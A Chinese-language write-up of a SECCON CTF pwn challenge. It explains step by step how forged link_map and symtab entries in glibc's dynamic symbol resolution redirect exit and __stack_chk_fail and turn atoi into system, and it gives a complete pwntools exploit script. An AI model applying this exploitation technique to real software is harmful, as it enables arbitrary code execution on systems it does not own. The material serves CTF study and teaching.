文章目录
- 题外话
- 调试思路
- 如何找到对应的link_map
- 分析do_lookup_x
- 我的构造payload
- all_exp
- 总结
题外话
这个题应该是seccon解题数量最少的了
这个题目其实和babyfile差不多,都是考虑0 lick,整体而言通过这两个题可以感受到出题者对于IO以及dl_resolv的理解深入
这个题目主要打法还是_dl_resolv,而这个在之前也有类似的题目,比如说HITCON 2015 -blinkroot也打的是_dl_resolve,但是还是有很多细微的差别,hitcon题目里他是在主程序里bss溢出,并且可以任意地址写,同时题目没开pie,所以我们可以利用任意地址写直接修改位于got[0]的link_map,然后再bss上伪造link_map结构体,由于link_map里面的l_info算是一个指针数组,所以需要利用no pie的缘故放指向bss的指针,可以在不知道libc的情况下利用got表里已经解析的地址加上libc函数固定的相对偏移来攻击
但secon的题目除了canary和got可写,其他全开,所以导致我们完全不知道任何地址,必须修改已有的link_map
调试思路
如何找到对应的link_map
最开始上来如果只是硬看源代码,其实我们也很难知道到底哪个结构体是放在limod.so里面,所以这里我是靠调试的手段
可以看到我追踪了几个主要的调用函数,在_dl_fixup的时候,主要就是取link_map里面的地址,但是我没发现有任何指向libmod.so里面的内容,所以我进入了_dl_lookup_symbol_x
然后进入这个的时候,我先大概查看了一下每个参数的值,有些是二级指针,需要解引用
我发现这symbol_scope里面有指向libmod的值,于是我重点关注这里
然后发现这里像是在遍历scope找到对应的值,于是感觉_do_lookup_x可能就是我们要找的函数
于是后来进入do_lookup_x看到了很熟悉的内容,这个就是在_dl_fixup出现的内容,大概感觉他是在遍历每一个map,寻找对应的,但第一次map还是不在libmod.so里,于是我c一下
这里我gdb重启了一下,所以偏移不一样了,可以看到刚好就是我们libmod.so里的link_map,并且算一下大概偏移
发现gbuf后面0xf80就是link_map结构体,刚好可以修改,于是我们重点分析这个函数
分析do_lookup_x
这里我们跟踪一下,有些地方逻辑大概可以忽略一下,然后一直回到这里,
这个是我们可以控制的
执行完这个可以发现值出来了,那我们看看这里究竟做了什么
[r8]就是我们可控的result地址的内容0x00007f71c544e000
而rdx不可写,+8值固定为0x00000000000012d3
可以发现0xf80地方控制的是基地址
其实也可以理解,因为他就是link_map的l_addr控制基地址
那么我们尝试把这里改成0试试
change(0xf80,0)
可以看到基地址变了,那么接下来我们可以利用这一点,去改变某几bit去控制exit_mem的函数地址
这里我们要考虑exit_imm后面还有什么可以利用的函数吗
这样发现好像没有,除非爆破,所以我们尝试看看能不能直接修改sym结构体
symtab是6 ,所以link_map+0x70偏移的地方就是symtab的基地址相关
他是这样的
symtab里面存储的是x
那么[x+8]=y y地址里面的值就是symtab的基地址
同时由于最后idx为9,根据实际调试他是y+0x1b*8 y+0xe8
这里面指针比较复杂,所以我就使用这个 ,这个刚好只用修改最后两位,而且能保证偏移后在我们可控的区域
edit(0xf80+0x70,0xe0-8)#change symtab
可以看到symtab已经很近了,然后我们去后面
可以看到sym已经在我们可控的地方了,那么具体内容我们可以按照原先的赋值,只需要修改st_value为我们想要的偏移即可
也就是00->18区域的内容,我们赋值过来
#0x58,fake symtab
change(0x58,0x000e001200000089)
symtab_st_value=0xdeadbaff
change(0x60,symtab_st_value)
change(0x68,0x000000000000000b)
modify(0xf80+0x70,0xe0-8)#change symtab
直接断到赋值这里,可以看到我们现在可以任意地址偏移了
接下来思考一下,我们要把这个偏移到哪里去
这个题目最大的问题就是官方没有给libc,如果官方给libc了我们完全可以利用one_gadget一把锁
所以还得思考一下
我的构造payload
因为这里我伪造了两个函数,一个是exit_imm,一个是__stack_chk_fail(这个没被解析过),所以如果通过bitmask==NULL会出现一点问题,我就选用else路线
#0x1280 改成0 进入else,这里+1是为了省一bit
change(0x1280+1,0,5)
这里因为我们修改次数有限,本来偏移是0x1280但是由于他的低一位为0,我就偏了一下,同时5代表修改5下,刚好可以覆盖为0
然后后面他其实类似于一个chain结构
比如说我最开始symidx为1,如果没找到查表,发现下一个l_chain[1]为3,那么symidx为3
#modify map->l_chain 都可以正常解析
modify(0x1288,0x4)
这里是我实际测得,因为exit_imm他最开始是1而__stack_chk_fail是3,如果不修改l_chain的话会导致我们无法构造sym结构体
#0x58,fake symtab for idx 9 exit_imm
change(0x58,0x000e001200000089)#照抄
symtab_st_value=0x1263-0x18 #to call ___stack_chk_fail
change(0x60,symtab_st_value,2)
modify(0x68,0xb)#照抄
#0x88,fake symtab for idx b ___stack_chk_fail
change(0x88,0x000e001200000000)#这里我把89改成0,因为check会比较字符串相不相同,但不知道为什么我比交的时候都是NULL,所以改一下就好
symtab_st_value=0xffffffffffe85a10-0x18+0x1b #to call system 具体的地址,后续会教怎么算
change(0x90,symtab_st_value,8)
modify(0x98,0xb)#原有的值 copy过来
上面的部分就是两个对应的结构体,其中0x58就是构造的解析exit_imm的,0x88是构造解析__stack_chk_fail,基本我是参考系统里面原有的结构体
modify(0xf80+0x70,0xe0-8)#change symtab,这个我前面讲了
modify(0xf80,0x18)# modify l_addr #这个我修改的目的是为了之后解析__stack_chk_fail覆盖到atoi,atoi刚好偏移0x18
大家可以注意到我的地址都减了0x18,因为
got表地址为reloc->offset+l_addr
value为l_addr+st_value
为了后面覆盖的是libmod里面的atoi,所以必须加上0x18(第一次exit_imm覆盖的是主程序的got不是libmod的)
下面我们来大概过一下
这里就是我所说的循环遍历,现在是exit_imm
第一次进来symidx是1,这个地址我们覆盖不了,所以他没找到,
第二次变成了9,就进入我们精心布置的
进行赋值
加起来刚好是
这里也可以看到,第一次赋值修改的是主程序的的got表所以我们第一次修改l_addr没影响
这里因为我们在lib里面去调用__stack_chk_fail,所以他自然会以lib的link_map为参考
可以看到经过l_addr整体的偏移,确实指向了atoi
这里第一次symidx为3,失败
第二次刚好进入11
刚才提到的改00的check就是这里
执行完之后确实被修改了,那为什么有0x1b的偏移呢
可以看到我们相当于定位到了这里
主要利用这里ret到menu,也就是主进程,这一点真的是太巧妙了…我不知道这个是怎么想出来的,如果没有这一点,这个题目其实也是做不出来的
由于回到menu后又会去调用lib里的modify函数,这个时候我们的atoi已经被修改了,所以我们输入/bin/sh
直接就调用do_system
all_exp
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./chall"
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc
if len(sys.argv) > 1:
remote_ip = "simplemod.seccon.games"
remote_port =7250
io = remote(remote_ip, remote_port)
else:
io = process(parm)
def debug_force():
global io
io.close()
gdbscript = """
set follow-fork-mode parent
b fini
c
"""
io=gdb.debug(parm, gdbscript=gdbscript)
def modify(off, val):
sla("> \n", "1")
sla("offset: ", str(off))
sla("value: ", str(val))
def change(off,val,cishu=0):
if cishu!=0:
for i in range(cishu):
modify(off,val&0xff)
off+=1
val=val>>8
else:
for i in range(8):
tmp=val&0xff
if tmp==0:
pass
else:
modify(off,tmp)
off+=1
val=val>>8
def exit():
sla("> \n", "0")
#gbuf 0xf80开始的地方是link_map
#b dl-lookup.c:461
#b dl-runtime.c:126
#debug_force()
system_offset=0xffffffffffe0e000+libc.sym["system"]
#0x1280 改成0 进入else,这里+1是为了省一bit
change(0x1280+1,0,5)
#modify map->l_chain 都可以正常解析
modify(0x1288,0x4)
#0x58,fake symtab for idx 9 exit_iveww
change(0x58,0x000e001200000089)
symtab_st_value=0x1263-0x18 #to call ___stack_chk_fail
change(0x60,symtab_st_value,2)
modify(0x68,0xb)
#0x88,fake symtab for idx b ___stack_chk_fail
change(0x88,0x000e001200000000)
symtab_st_value=system_offset-0x18+0x1b #to call system
change(0x90,symtab_st_value,8)
modify(0x98,0xb)
modify(0xf80+0x70,0xe0-8)#change symtab
modify(0xf80,0x18)# modify l_addr
exit()
sla(b"> \n","/bin/sh\0")
it()
我这里相当于是写死libc和libmod的偏移,我不知道怎么打远程,因为远程的偏移这个真的还不好搞
总结
这个题目除了整体的dl_resolv比较巧妙,最后的do_system也是比较巧妙的一笔,利用这个我们可以回到main函数,然后进一步攻击